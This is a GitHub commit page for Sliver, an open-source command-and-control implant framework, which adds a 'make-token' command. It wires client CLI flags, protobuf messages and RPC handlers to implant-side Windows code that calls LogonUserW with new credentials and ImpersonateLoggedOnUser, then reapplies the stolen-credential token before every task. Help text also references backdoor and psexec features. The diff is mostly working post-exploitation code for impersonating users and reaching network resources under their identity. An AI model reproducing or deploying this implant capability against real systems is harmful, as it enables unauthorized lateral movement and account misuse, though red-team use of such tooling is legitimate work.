Skip to content

Commit

Permalink
Merge branch 'master' into go-donut
Browse files Browse the repository at this point in the history
  • Loading branch information
rkervella committed Sep 16, 2020
2 parents 96817d8 + cb10bc9 commit b77026f
Show file tree
Hide file tree
Showing 16 changed files with 212 additions and 4 deletions.
20 changes: 20 additions & 0 deletions client/command/bind-commands.go
Original file line number Diff line number Diff line change
Expand Up @@ -1221,4 +1221,24 @@ func BindCommands(app *grumble.App, rpc rpcpb.SliverRPCClient) {
return nil
},
})

app.AddCommand(&grumble.Command{
Name: consts.MakeTokenStr,
Help: "Create a new Logon Session with the specified credentials",
LongHelp: help.GetHelpFor(consts.MakeTokenStr),
Flags: func(f *grumble.Flags) {
f.String("u", "username", "", "username of the user to impersonate")
f.String("p", "password", "", "password of the user to impersonate")
f.String("d", "domain", "", "domain of the user to impersonate")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
AllowArgs: false,
HelpGroup: consts.SliverWinHelpGroup,
Run: func(ctx *grumble.Context) error {
fmt.Println()
makeToken(ctx, rpc)
fmt.Println()
return nil
},
})
}
40 changes: 40 additions & 0 deletions client/command/priv.go
Original file line number Diff line number Diff line change
Expand Up @@ -121,3 +121,43 @@ func getsystem(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
}
fmt.Printf("\n" + Info + "A new SYSTEM session should pop soon...\n")
}

func makeToken(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
session := ActiveSession.Get()
if session == nil {
return
}
username := ctx.Flags.String("username")
password := ctx.Flags.String("password")
domain := ctx.Flags.String("domain")

if username == "" || password == "" {
fmt.Printf(Warn + "You must provide a username and password\n")
return
}

ctrl := make(chan bool)
go spin.Until("Creating new logon session ...", ctrl)

makeToken, err := rpc.MakeToken(context.Background(), &sliverpb.MakeTokenReq{
Request: ActiveSession.Request(ctx),
Username: username,
Domain: domain,
Password: password,
})

ctrl <- true
<-ctrl

if err != nil {
fmt.Printf(Warn+"Error: %v", err)
return
}

if makeToken.GetResponse().GetErr() != "" {

fmt.Printf(Warn+"Error: %s\n", makeToken.GetResponse().GetErr())
return
}
fmt.Printf("\n"+Info+"Successfully impersonated %s\\%s. Use `rev2self` to revert to your previous token.", domain, username)
}
2 changes: 2 additions & 0 deletions client/command/tasks.go
Original file line number Diff line number Diff line change
Expand Up @@ -247,6 +247,8 @@ func executeAssembly(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
assemblyArgs := ""
if len(ctx.Args) == 2 {
assemblyArgs = ctx.Args[1]
} else if len(ctx.Args) < 2 {
assemblyArgs = " "
}
process := ctx.Flags.String("process")

Expand Down
1 change: 1 addition & 0 deletions client/constants/constants.go
Original file line number Diff line number Diff line change
Expand Up @@ -127,6 +127,7 @@ const (
ScreenshotStr = "screenshot"
PsExecStr = "psexec"
BackdoorStr = "backdoor"
MakeTokenStr = "make-token"
)

// Groups
Expand Down
4 changes: 4 additions & 0 deletions client/help/console-help.go
Original file line number Diff line number Diff line change
Expand Up @@ -70,6 +70,7 @@ var (

consts.WebsitesStr: websitesHelp,
consts.ScreenshotStr: screenshotHelp,
consts.MakeTokenStr: makeTokenHelp,
}

jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs <options>
Expand Down Expand Up @@ -379,6 +380,9 @@ The [[.Bold]]psexec[[.Normal]] command will use the credentials of the Windows u
[[.Bold]]Example:[[.Normal]] backdoor --profile windows-shellcode "c:\windows\system32\calc.exe"
[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: new-profile --format shellcode --name whatever --http ab.cd
`
makeTokenHelp = `[[.Bold]]Command:[[.Normal]] make-token -u USERNAME -d DOMAIN -p PASSWORD
[[.Bold]]About:[[.Normal]] Creates a new Logon Session from the specified credentials and impersonate the resulting token.
`
)

Expand Down
1 change: 1 addition & 0 deletions protobuf/rpcpb/services.proto
Original file line number Diff line number Diff line change
Expand Up @@ -82,6 +82,7 @@ service SliverRPC {
rpc StartService(sliverpb.StartServiceReq) returns (sliverpb.ServiceInfo);
rpc StopService(sliverpb.StopServiceReq) returns (sliverpb.ServiceInfo);
rpc RemoveService(sliverpb.RemoveServiceReq) returns (sliverpb.ServiceInfo);
rpc MakeToken(sliverpb.MakeTokenReq) returns (sliverpb.MakeToken);

// *** Realtime Commands ***
rpc Shell(sliverpb.ShellReq) returns (sliverpb.Shell);
Expand Down
8 changes: 8 additions & 0 deletions protobuf/sliverpb/constants.go
Original file line number Diff line number Diff line change
Expand Up @@ -170,6 +170,10 @@ const (
MsgStopServiceReq
// MsgRemoveServiceReq - Request to remove a remote service
MsgRemoveServiceReq
// MsgMakeTokenReq - Request for MakeToken
MsgMakeTokenReq
// MsgMakeToken - Response for MakeToken
MsgMakeToken
)

// MsgNumber - Get a message number of type
Expand Down Expand Up @@ -318,6 +322,10 @@ func MsgNumber(request proto.Message) uint32 {
return MsgStopServiceReq
case *RemoveServiceReq:
return MsgRemoveServiceReq
case *MakeTokenReq:
return MsgMakeTokenReq
case *MakeToken:
return MsgMakeToken

}
return uint32(0)
Expand Down
12 changes: 12 additions & 0 deletions protobuf/sliverpb/sliver.proto
Original file line number Diff line number Diff line change
Expand Up @@ -255,6 +255,18 @@ message GetSystem {
commonpb.Response Response = 9;
}

message MakeTokenReq {
string Username = 1;
string Password = 2;
string Domain = 3;

commonpb.Request Request = 9;
}

message MakeToken {
commonpb.Response Response = 9;
}

message TaskReq {
string Encoder = 1;
bool RWXPages = 2;
Expand Down
10 changes: 10 additions & 0 deletions server/rpc/rpc-priv.go
Original file line number Diff line number Diff line change
Expand Up @@ -101,3 +101,13 @@ func (rpc *Server) GetSystem(ctx context.Context, req *clientpb.GetSystemReq) (*
}
return getSystem, nil
}

// MakeToken - Creates a new logon session to impersonate a user based on its credentials.
func (rpc *Server) MakeToken(ctx context.Context, req *sliverpb.MakeTokenReq) (*sliverpb.MakeToken, error) {
resp := &sliverpb.MakeToken{}
err := rpc.GenericHandler(req, resp)
if err != nil {
return nil, err
}
return resp, nil
}
7 changes: 6 additions & 1 deletion sliver/handlers/generic-rpc-handlers.go
Original file line number Diff line number Diff line change
Expand Up @@ -310,7 +310,12 @@ func downloadHandler(data []byte, resp RPCResponse) {
//{{if .Debug}}
log.Printf("stat failed on %s: %v", target, err)
//{{end}}
resp([]byte{}, err)
download := &sliverpb.Download{Path: target, Exists: false}
download.Response = &commonpb.Response{
Err: err.Error(),
}
data, err = proto.Marshal(download)
resp(data, err)
return
}
if fi.IsDir() {
Expand Down
22 changes: 20 additions & 2 deletions sliver/handlers/handlers_windows.go
Original file line number Diff line number Diff line change
Expand Up @@ -67,8 +67,9 @@ var (

sliverpb.MsgScreenshotReq: screenshotHandler,

sliverpb.MsgSideloadReq: sideloadHandler,
sliverpb.MsgNetstatReq: netstatHandler,
sliverpb.MsgSideloadReq: sideloadHandler,
sliverpb.MsgNetstatReq: netstatHandler,
sliverpb.MsgMakeTokenReq: makeTokenHandler,
}

windowsPivotHandlers = map[uint32]PivotHandler{
Expand Down Expand Up @@ -287,6 +288,23 @@ func namedPipeListenerHandler(envelope *sliverpb.Envelope, connection *transport
}
}

func makeTokenHandler(data []byte, resp RPCResponse) {
makeTokenReq := &sliverpb.MakeTokenReq{}
err := proto.Unmarshal(data, makeTokenReq)
if err != nil {
return
}
makeTokenResp := &sliverpb.MakeToken{}
err = priv.MakeToken(makeTokenReq.Domain, makeTokenReq.Username, makeTokenReq.Password)
if err != nil {
makeTokenResp.Response = &commonpb.Response{
Err: err.Error(),
}
}
data, err = proto.Marshal(makeTokenResp)
resp(data, err)
}

func startService(data []byte, resp RPCResponse) {
startService := &sliverpb.StartServiceReq{}
err := proto.Unmarshal(data, startService)
Expand Down
37 changes: 37 additions & 0 deletions sliver/priv/priv_windows.go
Original file line number Diff line number Diff line change
Expand Up @@ -22,7 +22,9 @@ package priv

import (
// {{if .Debug}}

"log"

// {{end}}
"fmt"
"os/exec"
Expand Down Expand Up @@ -204,6 +206,41 @@ func impersonateUser(username string) (token windows.Token, err error) {
return
}

// MakeToken uses LogonUser to create a new logon session with the supplied username, domain and password.
// It then impersonates the resulting token to allow access to remote network resources as the specified user.
func MakeToken(domain string, username string, password string) error {
var token windows.Token

pd, err := windows.UTF16PtrFromString(domain)
if err != nil {
return err
}
pu, err := windows.UTF16PtrFromString(username)
if err != nil {
return err
}
pp, err := windows.UTF16PtrFromString(password)
if err != nil {
return err
}
err = syscalls.LogonUser(pu, pd, pp, syscalls.LOGON32_LOGON_NEW_CREDENTIALS, syscalls.LOGON32_PROVIDER_DEFAULT, &token)
if err != nil {
// {{if .Debug}}
log.Printf("LogonUser failed: %v\n", err)
// {{end}}
return err
}
err = syscalls.ImpersonateLoggedOnUser(token)
if err != nil {
// {{if .Debug}}
log.Println("impersonateLoggedOnUser failed:", err)
// {{end}}
return err
}
CurrentToken = token
return err
}

func createRegistryKey(keyPath string) error {
_, _, err := registry.CreateKey(registry.CURRENT_USER, keyPath, registry.SET_VALUE|registry.QUERY_VALUE)
if err != nil {
Expand Down
24 changes: 24 additions & 0 deletions sliver/sliver.go
Original file line number Diff line number Diff line change
Expand Up @@ -39,6 +39,13 @@ import (
"github.com/bishopfox/sliver/protobuf/sliverpb"
consts "github.com/bishopfox/sliver/sliver/constants"
"github.com/bishopfox/sliver/sliver/handlers"

// {{if eq .GOOS "windows"}}
"github.com/bishopfox/sliver/sliver/priv"
"github.com/bishopfox/sliver/sliver/syscalls"

// {{end}}

"github.com/bishopfox/sliver/sliver/limits"
"github.com/bishopfox/sliver/sliver/pivots"
"github.com/bishopfox/sliver/sliver/transports"
Expand Down Expand Up @@ -175,6 +182,23 @@ func mainLoop(connection *transports.Connection) {
// {{end}}
go handler(envelope, connection)
} else if handler, ok := sysHandlers[envelope.Type]; ok {
// Beware, here be dragons.
// This is required for the specific case of token impersonation:
// Since goroutines don't always execute in the same thread, but ImpersonateLoggedOnUser
// only applies the token to the calling thread, we need to call it before every task.
// It's fucking gross to do that here, but I could not come with a better solution.

// {{if eq .GOOS "windows" }}
if priv.CurrentToken != 0 {
err := syscalls.ImpersonateLoggedOnUser(priv.CurrentToken)
if err != nil {
// {{if .Debug}}
log.Printf("Error: %v\n", err)
// {{end}}
}
}
// {{end}}

// {{if .Debug}}
log.Printf("[recv] sysHandler %d", envelope.Type)
// {{end}}
Expand Down
1 change: 1 addition & 0 deletions sliver/syscalls/syscalls_windows.go
Original file line number Diff line number Diff line change
Expand Up @@ -19,6 +19,7 @@ package syscalls

//sys MiniDumpWriteDump(hProcess windows.Handle, pid uint32, hFile uintptr, dumpType uint32, exceptionParam uintptr, userStreamParam uintptr, callbackParam uintptr) (err error) = DbgHelp.MiniDumpWriteDump
//sys ImpersonateLoggedOnUser(hToken windows.Token) (err error) = advapi32.ImpersonateLoggedOnUser
//sys LogonUser(lpszUsername *uint16, lpszDomain *uint16, lpszPassword *uint16, dwLogonType uint32, dwLogonProvider uint32, phToken *windows.Token) (err error) = advapi32.LogonUserW

//sys GetDC(HWND windows.Handle) (HDC windows.Handle, err error) = User32.GetDC
//sys ReleaseDC(hWnd windows.Handle, hDC windows.Handle) (int uint32, err error) = User32.ReleaseDC
Expand Down
14 changes: 13 additions & 1 deletion sliver/syscalls/types_windows.go
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,18 @@ import (

const (
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000
LOGON32_LOGON_INTERACTIVE = 2
LOGON32_LOGON_NETWORK = 3
LOGON32_LOGON_BATCH = 4
LOGON32_LOGON_SERVICE = 5
LOGON32_LOGON_UNLOCK = 7
LOGON32_LOGON_NETWORK_CLEARTEXT = 8
LOGON32_LOGON_NEW_CREDENTIALS = 9

LOGON32_PROVIDER_DEFAULT = 0
LOGON32_PROVIDER_WINNT35 = 1
LOGON32_PROVIDER_WINNT40 = 2
LOGON32_PROVIDER_WINNT50 = 3
)

type StartupInfoEx struct {
Expand Down Expand Up @@ -102,4 +114,4 @@ const (
GMEM_MOVEABLE = 0x0002
GMEM_ZEROINIT = 0x0040
GPTR = GMEM_FIXED | GMEM_ZEROINIT
)
)
13 changes: 13 additions & 0 deletions sliver/syscalls/zsyscalls_windows.go

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

0 comments on commit b77026f

Please sign in to comment.